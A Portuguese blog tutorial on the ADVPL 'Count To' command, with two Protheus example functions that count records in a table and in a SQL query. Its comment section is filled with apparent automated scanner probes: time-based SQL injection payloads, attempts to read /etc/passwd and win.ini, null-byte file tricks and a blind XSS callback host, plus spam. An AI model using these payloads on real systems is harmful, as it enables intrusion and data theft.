Reading time: 2 minutes
Olá, no post de hoje iremos falar do comando Count To em ADVPL, utilizado para contar quantos registros tem em uma tabela ou query.
O comando Count To em ADVPL é muito útil em situações em que queremos saber a quantidade de registros foi retornada de uma Consulta SQL(query) ou de uma tabela selecionada(DBSelectArea).
Sintaxe:
Count To [nReg]
Parâmetro(s):
1 – Utilizando o comando Count To Para Contar Registros de uma Tabela(Área) Selecionada
//Bibliotecas
#Include "Protheus.ch"
/*/{Protheus.doc} fCountTo
Exemplo da função Count To em ADVPL
@type function
@author Adilio Costa
@since 27/08/2024
@version 1.0
@Inscreva-se no Blog ProtheusAdvpl:
https://www.protheusadvpl.com.br
@Inscreva-se no Canal ProtheusAdvpl:
https://www.youtube.com/protheusadvpl
@Siga-nos no Instagram:
https://www.instagram.com/protheusadvpl
@Conheça os Cursos e Formações do ProtheusAdvpl:
https://protheusadvpl.kpages.online/cursos-e-formacoes-protheusadvpl
|Se esse conteúdo foi útil pra você nos ajude divulgando
ele e nossas redes sociais!!|
/*/
User Function fCountTo()
Local aArea := GetArea()
Local nReg := 0
//Seleciona a tabela de clientes SA1
DBSelectArea('SA1')
//Contando os registros e atribuindo o valor a nReg
Count To nReg
//Voltando ao topo da tabela
SA1->(DBGoTop())
MsgInfo("Total de Registros é: "+cValToChar(nReg), "Count To")
//Restaura a área
RestArea(aArea)
Return
2 – Utilizando o comando Count To Para Contar Registros de uma Consulta SQL(Query)
//Bibliotecas
#Include "Protheus.ch"
/*/{Protheus.doc} fCountTo
Exemplo da função Count To em ADVPL
@type function
@author Adilio Costa
@since 27/08/2024
@version 1.0
@Inscreva-se no Blog ProtheusAdvpl:
https://www.protheusadvpl.com.br
@Inscreva-se no Canal ProtheusAdvpl:
https://www.youtube.com/protheusadvpl
@Siga-nos no Instagram:
https://www.instagram.com/protheusadvpl
@Conheça os Cursos e Formações do ProtheusAdvpl:
https://protheusadvpl.kpages.online/cursos-e-formacoes-protheusadvpl
|Se esse conteúdo foi útil pra você nos ajude divulgando
ele e nossas redes sociais!!|
/*/
User Function fCountTo()
Local aArea := GetArea()
Local nReg := 0
//Monta e executa a consulta sql
cQuery := " SELECT * FROM "+RetSQLName('SA2')+" SA2 WHERE SA2.D_E_L_E_T_ = ' ' "
TCQuery cQuery New Alias "QrySA2"
//Contando os registros e voltando ao topo da query
Count To nReg
QrySA2->(DBGoTop())
MsgInfo("Total de Registros Retornados pela Query: "+cValToChar(nReg ), "Count To")
QrySA2->(DBCloseArea())
RestArea(aArea)
Return
Bem, finalizamos mais um post aqui no blog ProtheusAdvpl, espero que você tenha entendido, qualquer dúvida deixa seu comentário ou dê sugestões de conteúdo ou sugestões de melhoria aqui no blog. Grande abraço e fica com Deus.
Permalink
1
Permalink
555
Permalink
1mm2p2i6j
Permalink
1*1
Permalink
1*338*333*0
Permalink
-1 OR 2+503-503-1=0+0+0+1
Permalink
-1 OR 3*2>(0+5+503-503)
Permalink
1*if(now()=sysdate(),sleep(15),0)
Permalink
10’XOR(1*if(now()=sysdate(),sleep(15),0))XOR’Z
Permalink
10″XOR(1*if(now()=sysdate(),sleep(15),0))XOR”Z
Permalink
(select(0)from(select(sleep(15)))v)/*’+(select(0)from(select(sleep(15)))v)+'”+(select(0)from(select(sleep(15)))v)+”*/
Permalink
1-1; waitfor delay ‘0:0:15’ —
Permalink
1-1); waitfor delay ‘0:0:15’ —
Permalink
1-1 waitfor delay ‘0:0:15’ —
Permalink
19ObI3P5j’; waitfor delay ‘0:0:15’ —
Permalink
1-1 OR 924=(SELECT 924 FROM PG_SLEEP(15))–
Permalink
1-1) OR 37=(SELECT 37 FROM PG_SLEEP(15))–
Permalink
1-1)) OR 232=(SELECT 232 FROM PG_SLEEP(15))–
Permalink
555
Permalink
nUSueHCR: yGQy4Ckn
Permalink
555
Permalink
../555
Permalink
12345′”\’\”);|]*{
”💡
Permalink
1e6v8AEcE’)) OR 514=(SELECT 514 FROM PG_SLEEP(15))–
Permalink
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
Permalink
555
Permalink
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
Permalink
c:/windows/win.ini
Permalink
1%2527%2522\’\”
Permalink
1
Permalink
LSbtIUls
Permalink
file:///etc/passwd
Permalink
./1
Permalink
1
Permalink
1
Permalink
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
Permalink
)
Permalink
bxss.me
Permalink
1
Permalink
1
Permalink
1
Permalink
1
Permalink
555
Permalink
555
Permalink
555
Permalink
555
Permalink
555
Permalink
555
Permalink
555
Permalink
555ysFaVmGR
Permalink
555*1
Permalink
555*777*772*0
Permalink
555+602-597-5
Permalink
555*37*32*0
Permalink
555+42-37-5
Permalink
5550’XOR(555*if(now()=sysdate(),sleep(15),0))XOR’Z
Permalink
5550″XOR(555*if(now()=sysdate(),sleep(15),0))XOR”Z
Permalink
555-1; waitfor delay ‘0:0:15’ —
Permalink
555-1); waitfor delay ‘0:0:15’ —
Permalink
555FbTho4QO’; waitfor delay ‘0:0:15’ —
Permalink
555-1 OR 505=(SELECT 505 FROM PG_SLEEP(15))–
Permalink
555-1) OR 924=(SELECT 924 FROM PG_SLEEP(15))–
Permalink
555-1)) OR 986=(SELECT 986 FROM PG_SLEEP(15))–
Permalink
5551EXmjqvF’ OR 742=(SELECT 742 FROM PG_SLEEP(15))–
Permalink
555Y4NuIKCL’) OR 238=(SELECT 238 FROM PG_SLEEP(15))–
Permalink
55531EiohYh’)) OR 70=(SELECT 70 FROM PG_SLEEP(15))–
Permalink
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
Permalink
555’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||’
Permalink
555%2527%2522\’\”
Permalink
@@ZPRCw
Permalink
555
Permalink
Hi! I understand thhis is somewhat off-topic but I needed too ask.
Dooes running a well-established bloog such as
yours require a massive amount work? I’m completely new too blogging but I doo writte in mmy
diary daily. I’d like tto sttart a blog soo I can easdily sgare myy
persopnal experdience and thoughts online. Plese lett mme knkw if yyou
haave anny suggestions or tipps foor new aspiring bloggers.
Appreciate it!
Permalink
Greetings! Verry helpful advice in this particular article!
It’s thhe ittle changes thatt will make the largest changes.
Thannks forr sharing!